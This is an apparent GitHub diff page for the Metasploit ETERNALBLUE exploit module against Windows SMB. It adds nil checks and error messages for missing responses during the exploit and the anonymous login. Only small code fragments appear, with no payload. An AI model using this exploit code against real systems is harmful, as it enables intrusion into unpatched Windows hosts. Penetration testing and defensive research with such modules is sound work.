File tree Expand file tree Collapse file tree 1 file changed +8
-1
lines changed
modules/exploits/windows/smb Expand file tree Collapse file tree 1 file changed +8
-1
lines changed Original file line number Diff line number Diff line change @@ -195,7 +195,9 @@ def smb_eternalblue(process_name, grooms)
195
195
code , raw = smb1_get_response ( sock )
196
196
197
197
code_str = "0x" + code . to_i . to_s ( 16 ) . upcase
198
- if code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
198
+ if code . nil?
199
+ print_error ( "Did not receive a response from exploit packet" )
200
+ elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
199
201
print_good ( "ETERNALBLUE overwrite completed successfully (#{ code_str } )!" )
200
202
else
201
203
print_warning ( "ETERNALBLUE overwrite returned unexpected status code (#{ code_str } )!" )
@@ -288,6 +290,10 @@ def smb1_anonymous_connect_ipc()
288
290
289
291
code , raw , response = smb1_get_response ( sock )
290
292
293
+ if code . nil?
294
+ raise RubySMB ::Error ::UnexpectedStatusCode , "No response to login request"
295
+ end
296
+
291
297
unless code == 0 # WindowsError::NTStatus::STATUS_SUCCESS
292
298
raise RubySMB ::Error ::UnexpectedStatusCode , "Error with anonymous login"
293
299
end
@@ -366,6 +372,7 @@ def smb1_get_response(sock)
366
372
break unless raw . nil? or raw . empty?
367
373
end
368
374
375
+ return nil unless raw
369
376
response = RubySMB ::SMB1 ::SMBHeader . read ( raw [ 4 ..-1 ] )
370
377
code = response . nt_status
371
378
return code , raw , response
You can’t perform that action at this time.
0 commit comments